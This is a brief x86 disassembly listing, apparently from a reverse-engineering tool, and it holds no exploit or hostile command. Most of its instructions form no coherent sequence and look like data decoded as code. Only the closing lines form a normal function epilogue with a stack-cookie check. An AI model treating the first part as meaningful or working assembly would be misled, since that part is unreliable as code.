jge 0x10070309
pop ecx
and eax, 0x12faa639
repne scasb al, byte es:[edi]
jbe 0x100702aa
cwde
push esp
add eax, 0x873ae3b4
pushfd
cmpsb byte [esi], byte es:[edi]
push esp
inc ebx
test byte [edi], ch
sbb ah, cl
loope 0x1007028b
add cl, 0x47
mov ecx, dword [ecx - 0x257e448a]
and dword [esi - 0x5c83487b], esp
rol dword [edi - 0x75], 0x89
jbe 0x100702cc
sbb edx, 0xb785a621
jl 0x100702bc
sub dword [ebx], edi
cdq
jb 0x1007030a
mov cl, 0xf4
add ecx, dword [esp + eax*4]
xchg esi, eax
nop
and edx, ebx
cdq
scasb al, byte es:[edi]
int3
cmp eax, 0x6fa5855c
pushal
popfd
cmp eax, edi
je 0x1006fea1
pop ebx
push dword [ebp - 0x974]
call fcn.1011e7c5
xor eax, eax
pop ecx
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1011e48a
leave
ret